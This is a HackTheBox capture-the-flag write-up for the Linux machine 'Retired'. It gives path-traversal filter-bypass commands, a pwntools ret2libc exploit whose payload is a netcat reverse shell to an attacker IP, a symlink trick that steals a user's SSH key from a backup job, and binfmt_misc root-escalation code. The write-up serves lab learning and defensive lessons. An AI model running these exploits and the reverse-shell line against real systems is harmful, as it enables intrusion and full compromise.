HTB: Retired Writeup

Retired - HackTheBox Writeup

Machine Information

AttributeDetails
NameRetired
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Retired is a Medium Linux box built around a chain of realistic web and binary exploitation bugs rather than a single flashy CVE. The front-end PHP application exposes a path-traversal bypass in its own sanitization routine, which is enough on its own to read arbitrary files off disk — including the source of a second page that reveals an internal-only service listening on 127.0.0.1:1337. That same traversal primitive is then reused to exfiltrate the compiled binary behind the internal service, its libc, and — critically — its live /proc/<pid>/maps, turning a blind stack-based buffer overflow into a fully addressed ret2libc exploit despite PIE/NX/Full RELRO being enabled. From an unprivileged web shell, a scheduled backup job that zips the webroot while following symlinks hands over a second user’s SSH key. Root is reached through a misconfigured cap_dac_override helper binary that lets any local user register custom interpreters in binfmt_misc, including ones that inherit root credentials.

TL;DR: Path traversal in index.php?page= (broken single-pass str_replace filter) → leak activate_license.php source → discover internal service on 127.0.0.1:1337 → traversal-download the activate_license binary + libc + /proc/sched_debug + /proc/<pid>/maps → stack buffer overflow (offset 520) → ret2libc RCE as www-data → symlink attack on website_backup.timer → steal dev’s SSH key → user.txt → abuse cap_dac_override reg_helper to register a root-credentialed binfmt_misc handler → root.txt.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.11.X

Results:

  • 22/tcp — OpenSSH 8.4p1 (Debian)
  • 80/tcp — nginx + PHP application (index.php?page= router)

Service Enumeration

The web application on port 80 routes content through a page GET parameter (index.php?page=<file>), which reads and displays local files server-side. A second page, reached through the same router, exposed a license-activation form that submits an uploaded file to activate_license.php.

Vulnerability Assessment

  • Arbitrary file read via path traversalindex.php’s page parameter is filtered with a naive, single-pass str_replace("../","") / str_replace("./",""), which is trivially defeated by overlapping sequences (no CVE assigned — custom application logic flaw).
  • Internal-only service exposed indirectlyactivate_license.php forwards uploaded file contents to an unauthenticated backend service bound to 127.0.0.1:1337, reachable only through the web app.
  • Unbounded stack read in activate_license — the backend binary reads an attacker-controlled length prefix and then reads that many bytes into a fixed 512-byte stack buffer with no bounds check: a classic stack-based buffer overflow. The binary was compiled with PIE, NX, and Full RELRO, but no stack canary.

Initial Foothold

Exploitation Path

1. Bypass the traversal filter.

sanitize_input() strips only the first occurrence of ../ and ./ from the input, in that order. Feeding it an overlapping string like a.....///... collapses under each str_replace pass into a working ../, so directory traversal still succeeds even though the naive blacklist looks correct at a glance:

Terminal window
# a.....///... -> (strip "../") -> a...//. -> (strip "./") -> ../
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///etc/passwd"

Because the router uses readfile() rather than include(), this is a pure arbitrary-file-read primitive, not LFI — no PHP code execution from this step alone.

2. Leak the backend integration.

Terminal window
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///activate_license.php"

The source shows activate_license.php reading the uploaded licensefile, prefixing its length as a 4-byte big-endian integer, and forwarding both over a raw TCP socket to 127.0.0.1:1337 — an internal service with no direct network exposure of its own.

3. Pull the backend binary and its libc off disk.

Terminal window
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///usr/bin/activate_license" -o activate_license
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///usr/lib/x86_64-linux-gnu/libc-2.31.so" -o libc-2.31.so
chmod +x activate_license

Checksec confirms PIE, NX, and Full RELRO are enabled — but no stack canary, meaning a stack-based overflow can overwrite the saved return address directly without first defeating a canary check.

4. Leak the live PID without brute-forcing.

Full-PID brute force against a forking service is slow and noisy. /proc/sched_debug lists every scheduled task with its PID, and is readable through the same traversal bug:

Terminal window
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///proc/sched_debug" | grep activate
# -> activate_license 400 ...

PID 400 identified.

5. Leak the runtime base addresses.

Terminal window
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///proc/400/maps"

Because activate_license is a forking server (the parent stays resident and each connection is handled by a child that shares the same mapped bases), the leaked bases stay valid across connections:

  • actbase = 0x55a89521f000
  • libcbase = 0x7f3a27b5e000

6. Confirm the overflow and find the offset.

Reversing activate_license() shows the length-prefixed read() filling a 512-byte stack buffer with no size check against msglen. Testing a cyclic pattern against a local copy of the binary in gdb pinpointed the saved-RIP overwrite at offset 520 bytes.

7. Build the ret2libc payload.

With ASLR effectively defeated by the leaked bases, and NX ruling out stack shellcode, the exploit pivots to ret2libc: write a reverse-shell command string into a writable .data region using pop rdi / pop rdx / mov [rdi], rdx gadgets (chained 8 bytes at a time), then transfer control to system().

#!/usr/bin/env python3
from pwn import *
import requests
# bases leaked from /proc/400/maps via the traversal bug
actbase = 0x55a89521f000
libcbase = 0x7f3a27b5e000
pop_rdi = p64(actbase + POP_RDI_OFF) # pop rdi; ret
pop_rdx = p64(libcbase + POP_RDX_OFF) # pop rdx; ret
mov = p64(libcbase + MOV_OFF) # mov qword ptr [rdi], rdx; ret
system = p64(libcbase + SYSTEM_OFF)
offset = 520
writable = actbase + WRITABLE_OFF # writable .data region
cmd = b"bash -c 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.180 7777 >/tmp/f'\x00"
rop = b"A" * offset
for i in range(0, len(cmd), 8):
rop += pop_rdi + p64(writable + i)
rop += pop_rdx + cmd[i:i+8].ljust(8, b"\x00")
rop += mov
rop += pop_rdi + p64(writable) + system
# length-prefixed upload through activate_license.php -> internal :1337 service
files = {"licensefile": ("payload.key", rop, "application/octet-stream")}
requests.post("http://10.10.11.X/activate_license.php", files=files)

Gadget and symbol offsets were confirmed to match a locally reversed copy of the exfiltrated binary/libc before firing at the target.

Terminal window
nc -lnvp 7777
python3 exploit.py

The payload triggers, system() runs the reverse-shell one-liner, and a shell as www-data lands on 10.10.15.180:7777.


Privilege Escalation

www-data → dev (lateral movement)

Enumeration from the www-data shell turned up a low-privileged user dev and a systemd timer, website_backup.timer, firing a website_backup.service roughly every minute. Its unit runs /usr/bin/webbackup as dev, which zips /var/www/html into a world-readable archive under /var/www/. zip follows symbolic links by default (no --symlinks flag), and the webroot is writable by www-data.

Terminal window
# www-data shell
ln -s /home/dev /var/www/html/dev

Waiting for the next timer run pulled dev’s entire home directory — including .ssh/id_rsa — into the next backup zip:

Terminal window
# pull the freshly generated backup and extract the private key
unzip <timestamp>-html.zip
chmod 600 var/www/html/dev/.ssh/id_rsa
ssh -i var/www/html/dev/.ssh/id_rsa dev@10.10.11.X

user.txt captured as dev.

dev → root (binfmt_misc credentials abuse)

dev’s home directory holds the source for the box’s EMUEMU project, including reg_helper — a small wrapper that writes attacker-supplied data straight to /proc/sys/fs/binfmt_misc/register. The compiled /usr/lib/emuemu/reg_helper is installed group-dev and carries the cap_dac_override file capability, so any member of dev can invoke it to register arbitrary binfmt_misc interpreters.

The Linux kernel’s binfmt_misc feature lets a registered interpreter run automatically whenever a file matching its magic bytes/extension is executed. Registering with the C (credentials) flag makes the kernel compute the resulting process’s credentials from the interpreted binary itself rather than from the file being run — so pointing that flag at a root-owned setuid binary causes the interpreter to execute with root privileges.

Terminal window
# minimal handler: drop to root and spawn a shell
cat > handler.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc -o handler handler.c
# link a root-owned setuid binary with a custom extension binfmt_misc can match on
ln -s /usr/bin/chfn chfn.HACKTHEBOX
# register the handler with the C (credentials) flag via the DAC-override helper
echo ":HTB:E::HACKTHEBOX::$(realpath handler):C" | /usr/lib/emuemu/reg_helper
# trigger it — binfmt_misc runs `handler` with root creds
./chfn.HACKTHEBOX

Because reg_helper can write to the register file regardless of ownership (courtesy of cap_dac_override), and binfmt_misc follows symlinks, this works against any local root-owned setuid binary without needing to touch it directly. root.txt captured.


Attack Chain Summary

Path traversal in index.php?page= (broken single-pass str_replace filter)
→ Leak activate_license.php source → internal service on 127.0.0.1:1337
→ Traversal-download activate_license binary + libc-2.31.so
→ Leak PID via /proc/sched_debug (PID 400)
→ Leak base addresses via /proc/400/maps
→ Stack buffer overflow (offset 520) → ret2libc ROP chain → RCE as www-data
→ Symlink attack on website_backup.timer (zip follows symlinks, runs as dev)
→ Steal dev's id_rsa → SSH as dev → user.txt
→ Abuse cap_dac_override reg_helper → register binfmt_misc handler with C flag
→ Root shell via symlinked setuid binary → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curlTraversal-based file read/exfiltration
gdbLocal offset discovery (cyclic pattern → saved RIP)
objdump / ropperGadget and system() offset discovery in libc
pwntools / PythonROP chain construction, exploit delivery
ncReverse shell listener
zip / unzipExtracting the symlink-poisoned backup archive
sshAccess as dev using the stolen key
gccCompiling the root-credential binfmt_misc handler

Key Learnings

Techniques Practiced

  • Defeating naive, single-pass blacklist sanitization with overlapping traversal sequences
  • Turning an arbitrary-file-read primitive into a full binary/libc/memory-map exfiltration channel
  • Building a ret2libc exploit against a PIE/NX/Full-RELRO, no-canary binary using leaked runtime addresses
  • Symlink attacks against scheduled jobs that archive/copy files without following-link protection
  • Privilege escalation via binfmt_misc credential (C) flag abuse through an overprivileged (cap_dac_override) helper binary

Lessons Learned

  1. Sanitization filters that only strip a pattern once are not sanitization — they’re a suggestion. Always test overlapping/nested payloads against blacklist-style filters.
  2. PIE and ASLR only protect a binary if attackers can’t read its memory layout. Any file-read or info-leak primitive adjacent to a network service should be treated as a potential address-leak channel, not just a confidentiality issue.
  3. Scheduled jobs that archive or copy attacker-writable directories must use symlink-safe flags (e.g., zip --symlinks, cp --no-dereference, rsync --safe-links) or run against a directory the lower-privileged process can’t write to.
  4. File capabilities like cap_dac_override are effectively “run as root for file I/O” — granting them to a helper binary that writes to a kernel-trusted interface (binfmt_misc) collapses the privilege boundary between the group it’s exposed to and root.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • polarbearer, Retired — Official HackTheBox Writeup (Document No. D22.100.193), Machine Author: uco2KFh.